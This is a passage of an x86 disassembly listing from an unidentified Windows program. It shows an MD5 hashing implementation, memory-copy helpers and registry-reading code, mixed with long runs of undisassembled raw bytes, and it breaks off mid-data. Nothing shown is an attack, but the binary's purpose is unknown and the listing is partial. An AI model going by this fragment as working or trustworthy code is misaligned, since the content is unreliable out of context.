ebx push esi push edi nop call near ptr 27C08AAh mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0CE89051h, 56022EBEh, 0E890D88Bh dd 22EC00Bh, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D126 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 1BCBBEE8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch dd 4DA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 248A25Ch dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 49A217E8h dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 0CA4DE890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h dd 50A1BBE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 91E85210h, 90024DA1h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D20h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 0A12AE852h, 8B90024Dh, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h dd 0F08B0044h, 8A0C6851h, 0E8560044h, 1BC8D7h, 4E5C6890h dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 